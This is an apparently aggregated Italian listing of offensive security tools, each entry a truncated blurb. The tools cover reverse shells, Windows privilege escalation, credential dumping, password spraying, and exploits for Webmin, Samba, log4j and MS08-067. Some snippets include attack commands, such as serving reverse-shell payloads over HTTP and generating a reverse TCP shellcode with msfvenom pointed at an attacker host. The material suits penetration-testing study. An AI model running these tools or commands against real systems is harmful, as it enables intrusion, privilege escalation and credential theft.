SearchIPOwner

SearchIPOwner - h3x0v3rl0rd - Esempio di utilizzo: Query per singolo IP: root@kitploit: python3 SearchIPOwner.py 8.8.8.8 Più IP da un file: root@kitploit: python3 SearchIPOwner.py iplist.txt Salva in CSV: root@kitploit: python3 SearchIPOwner.py iplist.txt -csv...

InsomniaShell

InsomniaShell 🖥️ -h3x0v3rl0rd- Uso :...

xll_windows_reverse_shell

xllwindowsreverseshell xll reverse shell per Windows Sulla macchina dell'attaccante Kali: root@kitploit: git clone https://github.com/n3rdh4x0r/xllwindowsreverseshell.git 1. Aggiorna il file revsh.ps1 2. crea un server http Python root@kitploit: python3 -m http.server 9999 Sulla macchina...

PrintSpoofer

PrintSpoofer Exploit PrintSpoofer che può essere utilizzato per elevare i permessi dell'utente del servizio su Windows Server 2016, Server 2019 e Windows 10. Per elevare i privilegi, l'account di servizio deve avere i privilegi SeImpersonate. Per eseguire: PrintSpoofer.exe -i -c cmd Con i privile...

smtp_userenum

smtpuserenum Aiuto: root@kitploit: python3 smtpuserenum.py -h Utilizzo: root@kitploit: python3 smtpuserenum.py Puoi cambiare la lista degli username:...

nodejsshell

nodejsshell - h3x0v3rl0rd -...

Windows-Exploit-Suggester-Python3

Windows-Exploit-Suggester-Python3 python3 windows-exploit-suggester.py --update libreoffice --headless --convert-to xls 2021-07-15-mssb.xlsx python3 windows-exploit-suggester.py --database 2021-07-15-mssb.xls --systeminfo systeminfo.txt Esempio : quindi dovremmo convertire xlsx in xls...

gMSA_Dumper

gMSADumper Legge qualsiasi blob di password gMSA a cui l'utente può accedere e ne analizza i valori. root@kitploit: gMSADumper.py -h...

smb-usermap

Esecuzione di comandi in Samba "username map script" Questo modulo sfrutta una vulnerabilità di esecuzione di comandi nelle versioni di Samba dalla 3.0.20 alla 3.0.25rc3 quando viene utilizzata l'opzione di configurazione non predefinita "username map script". Specificando un nome utente contenen...

nim-reverse-shell

nim-reverse-shell nim-reverse-shell Esempio: root@kitploit: sudo apt install nim aggiorna lo script di conseguenza root@kitploit: nim c -d:mingw --app:gui --opt:speed -o:spoofer-scheduler.exe reverse.nim root@kitploit: python3 -m http.server 8888 root@kitploit: wget...

OWA-Password-Sprayer

OWA-Password-Sprayer OWA Password Sprayer Questo script Python facilita il password spraying contro gli endpoint di Outlook Web Access OWA. Il password spraying è una tecnica utilizzata per testare una singola password su più nomi utente, con l'obiettivo di trovare credenziali valide per accedere...

Webmin1.910_exploit

Webmin 1.910 Exploit di Esecuzione Remota di Codice Descrizione: Questa repository contiene uno script Python 3 progettato per sfruttare una vulnerabilità di esecuzione remota di codice in Webmin versione 1.910. Lo script utilizza l'endpoint sessionlogin.cgi per eseguire l'autenticazione e...

MYSQL-UDF-Exploit

MYSQL-UDF-Exploit Exploit UDF di MYSQL...

windows_kernel_shadow_stack

Prove di concetto Questo progetto mira a evidenziare alcuni aspetti della mitigazione shadow stack implementata da Microsoft in Windows 11. Il codice è specificamente focalizzato su Windows 11 24H2. Potrebbe non funzionare su altre versioni di Windows 11, a causa della gestione degli offset del...

log4j

💻 -h3x0v3rl0rd- Sfruttare log4j CVE-2021-44228 TryHackMe Solar, Walkthrough root@kitploit: git clone https://github.com/n3rdh4x0r/log4j.git 1. Esegui log4j.py Questo installerà tutte le applicazioni necessarie e avvierà il server LDAP root@kitploit: ifconfig tun0 python3 log4j.py 10.8.227.251 2...

FreePBX-Reverse-Shell-Module

FreePBX-Reverse-Shell-Module...

Windows-kernel-SegmentHeap-Aligned-Chunk-Confusion

Questo repository contiene un exploit PoC che utilizza una tecnica di sfruttamento chiamata Aligned Chunk Confusion. I dettagli sulla tecnica sono disponibili nell'articolo. Questo exploit sfrutta un heap overflow nell'heap del kernel di Windows per elevare i propri privilegi da Low a SYSTEM. La...

enyx

enyx Strumento di enumerazione SNMP IPV6 - n3rdh4x0r -...

synodecrypt

SynoDecrypt Uno strumento per decrittare tutti gli archivi crittografati Synology SPK, PAT, .... Il lavoro di reverse engineering è spiegato nel nostro post sul blog. Installazione root@kitploit: pip install -r requirements.txt Utilizzo Per prima cosa devi estrarre le chiavi di crittografia e...

MS08-067

MS08-067 | CVE-2008-4250 Riferimento: https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN Generazione dello shellcode Useremo msfvenom per generare lo shellcode. root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.14 LPORT=443...